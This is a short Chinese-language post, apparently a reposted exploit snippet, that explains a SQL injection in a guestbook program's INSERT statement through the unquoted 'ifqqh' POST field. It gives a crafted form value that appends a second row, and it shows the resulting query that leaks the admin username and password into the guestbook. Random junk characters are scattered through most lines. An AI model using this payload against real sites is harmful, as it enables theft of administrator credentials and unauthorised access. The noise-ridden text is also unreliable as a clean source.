留言本注入。拿到帐号密码。前提知道程序源代码。在insert里面。构造了另外一句SQL。并且把帐号密码读出来。! {; _* I9 p3 l: b, w; {8 T0 b
7 B" H' p" @) b. Z+ ]- O- J. G, ?. a$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。 L8 e+ h3 o" v9 A$ f( ~* Y
$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响. S( V! }1 a: W- h
o; o: W9 o; z9 H; m1 f( b
提交的时候把ifqqh的值改一下。变成/ ?- M9 [2 {+ r) @$ [5 z6 J
1 }. L! U( v* P<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ />/ J n6 {( _6 B" N# m! S0 Z
9 k+ K/ ?1 B% K这样SQL插入语句就变了.
, ]/ \3 M4 h! X/ ^ @, }. s) c; T4 D, X* A. _3 |% S
insert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0)
: g @ Y, ]; z# O/ w' @' [. B4 S. p: e8 j0 N
构造了另外一句SQL。并且把帐号密码读出来。3 M, X% }% x( F3 p1 {. J7 K7 I
& Z7 W# {# ^, t% ]! c& ]
|